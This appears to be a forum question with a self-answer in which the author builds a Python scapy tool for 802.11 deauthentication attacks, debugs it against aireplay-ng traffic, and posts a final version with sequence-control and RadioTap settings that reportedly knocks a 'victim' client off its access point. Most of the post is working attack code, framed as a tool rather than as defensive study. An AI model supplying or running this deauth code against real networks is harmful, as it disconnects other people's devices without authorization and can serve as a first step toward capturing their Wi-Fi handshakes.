I'm trying to write a tool to do simple deauth attacks. This is my work-in-progress code:
from scapy.all import *
from scapy.layers.dot11 import Dot11, RadioTap, Dot11Deauth
from time import sleep
AP_MAC = 'THE_VICTIM_MAC'
VICTIM_MAC = "THE_AP_MAC"
interface = "MY_INTERFACE_NAME"
def produce_deauth_pair(victim_mac: str, ap_mac: str) -> Tuple[RadioTap, RadioTap]:
return (RadioTap() / Dot11(addr1=victim_mac, addr2=ap_mac, addr3=ap_mac) / Dot11Deauth(reason=7),
RadioTap() / Dot11(addr1=ap_mac, addr2=victim_mac, addr3=ap_mac) / Dot11Deauth(reason=7))
for n in range(1000):
one, two = produce_deauth_pair(VICTIM_MAC, AP_MAC)
sendp([one, two], iface=interface, verbose=False)
print(f"{n}/1000")
The main problem is, it isn't successfully causing a deauthorization on the victim machine. I started a deauth attack using aireplay-ng
, compared the traffic in wireshark, and the main difference I can see between my traffic and theirs is theirs uses incrementing sequence numbers (SN
), whereas mine is stuck at 0.
I can not figure out how to specify sequence numbers though. I searched through the whole dot11.py
scapy source file, and the only reference to "sequence numbers" I can find is in the Dot11Auth
, and that doesn't seem right.
How can I specify a sequence number?
It turns out, this was more me misunderstanding 802.11. Reading over Wikipedia:
The Sequence Control field is a two-byte section used for identifying message order as well as eliminating duplicate frames. The first 4 bits are used for the fragmentation number, and the last 12 bits are the sequence number.
So, it's actually bundled inside of the SC
field of Dot11
.
I wrote up a simple function to produce an SC value from a fragment number and sequence number:
def produce_sc(frag: int, seq: int) -> int:
return (seq << 4) + frag
And the result of that can be simply plugged in:
RadioTap() \
/ Dot11(addr1=dst_mac, addr2=src_mac, addr3=ap_mac, SC=produce_sc(0, 123)) \ # Here
/ Dot11Deauth(reason=7)
The deauthing still doesn't work unfortunately, but at least I ruled that cause out.
My original issue was the RadioTap
header needed a present
argument:
def new_deauth(dst_mac: str, src_mac: str, ap_mac: str, seq_num: int, reason: int) -> Dot11Deauth:
sc = produce_sc(0, seq_num)
return RadioTap(present="Rate+TXFlags") / \
Dot11(ID=1314, addr1=dst_mac, addr2=src_mac, addr3=ap_mac, SC=sc) /\
Dot11Deauth(reason=reason)
This doesn't make a ton of sense to me because I thought that the RadioTap
header was an indication of the conditions the antenna noticed during the capture, not something that can be specified when sending, but 🤷. This successfully deauthorizes the client.